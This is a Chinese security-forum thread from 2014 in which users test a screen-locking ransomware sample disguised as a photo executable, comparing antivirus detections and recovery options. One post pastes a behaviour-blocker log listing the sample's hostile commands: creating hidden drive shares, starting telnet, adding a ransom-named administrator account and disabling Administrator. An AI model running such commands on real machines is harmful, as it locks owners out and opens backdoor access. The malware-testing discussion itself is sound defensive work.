敲竹杠，更新第四个，最狠的一个，进不去系统啊！！

Qutianshang

深山红叶__ 发表于 2014-6-8 19:32
给作者说：
这写的都是什么玩意儿，好歹停用所有帐户，方法也不对，怎么还用cmd。

安全模式？？我的虚拟机不会用啊

蓝天二号

深山红叶__ 发表于 2014-6-8 19:20
无法直视的作者，停用帐户很好解决啊

顺便我的测试工具更新了，求顶

怎么被数字抓了？你这工具，，看来给数字带来了后遗症》。。。。

XywCloud

第4个样本
bav启发杀

fzshot

其实我一直都不太理解敲竹杠。。。进PE把密码清除了不就好了。。。

Qutianshang

fzshot 发表于 2014-6-8 20:04
其实我一直都不太理解敲竹杠。。。进PE把密码清除了不就好了。。。

有pe的没有几个，会用的更不多，被锁之后，就算教他们用pe也要不小的功夫

SUNKESS

诺顿主防





威胁名称: SONAR.Heuristic.120
威胁名称: SONAR.Module!gen3
威胁名称: SONAR.Heuristic.120
威胁名称: SONAR.Heuristic.120

下载分析是浮云，开虚拟机测主防
@shihaono1

fzypc40

2014-6-8 20:22:53        c:\windows\explorer.exe        创建新进程        c:\documents and settings\administrator\桌面\我照片阿.exe        允许        [应用程序]c:\windows\explorer.exe        命令行: "C:\Documents and Settings\Administrator\桌面\我照片阿.exe"
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        修改注册表值        HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup        阻止        [注册表组]资源管理器 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*Shell Folders*; Startup        值: C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        修改注册表值        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Startup        阻止        [注册表组]资源管理器 -> [注册表]*\Software\Microsoft\Windows\CurrentVersion\Explorer\*Shell Folders*; Common Startup        值: C:\Documents and Settings\All Users\「开始」菜单\程序\启动
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        读文件        E:\QvodPlayer\QvodWebBase\1.0.0.47\QvodWebBase.dll        阻止        [文件组]隐藏磁盘 -> [文件]e:\*       
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net share huoji$=c:\
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net share huoji$=d:\
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net start telnet
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net start Server
2014-6-8 20:22:54        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net user 加QQ965569124要密码 密码5845201314 /add
2014-6-8 20:22:55        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net user 加QQ965569124要密码 /active:yes
2014-6-8 20:22:55        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net localgroup Administrators 加QQ965569124要密码 /add
2014-6-8 20:22:55        c:\documents and settings\administrator\桌面\我照片阿.exe        创建新进程        c:\windows\system32\net.exe        阻止        [应用程序]* -> [子应用程序]『禁运』黑名单        命令行: net user Administrator /active:no
2014-6-8 20:22:55        c:\documents and settings\administrator\桌面\我照片阿.exe        修改文件        \Device\NamedPipe\lsarpc        阻止        [文件组]命令管道 -> [文件]\device\namedpipe\*       
2014-6-8 20:23:08        c:\documents and settings\administrator\桌面\我照片阿.exe        读文件 (10)        E:\QvodPlayer\QvodWebBase\1.0.0.47\QvodWebBase.dll        阻止        [文件组]隐藏磁盘 -> [文件]e:\*       

Qutianshang

dongwenqi 发表于 2014-6-8 19:11
我照片啊，无法下载附件？

已经好了

Qutianshang

w114116 发表于 2014-6-8 19:34
不说话~~~
烤火鸡 19:29:29
在吗？

这个作者太无良了，就算是花了钱，恐怕也是进不去。不知道是有意的，还是他根本不懂

仙剑问情

卡巴斯基删除2个，



我照片  miss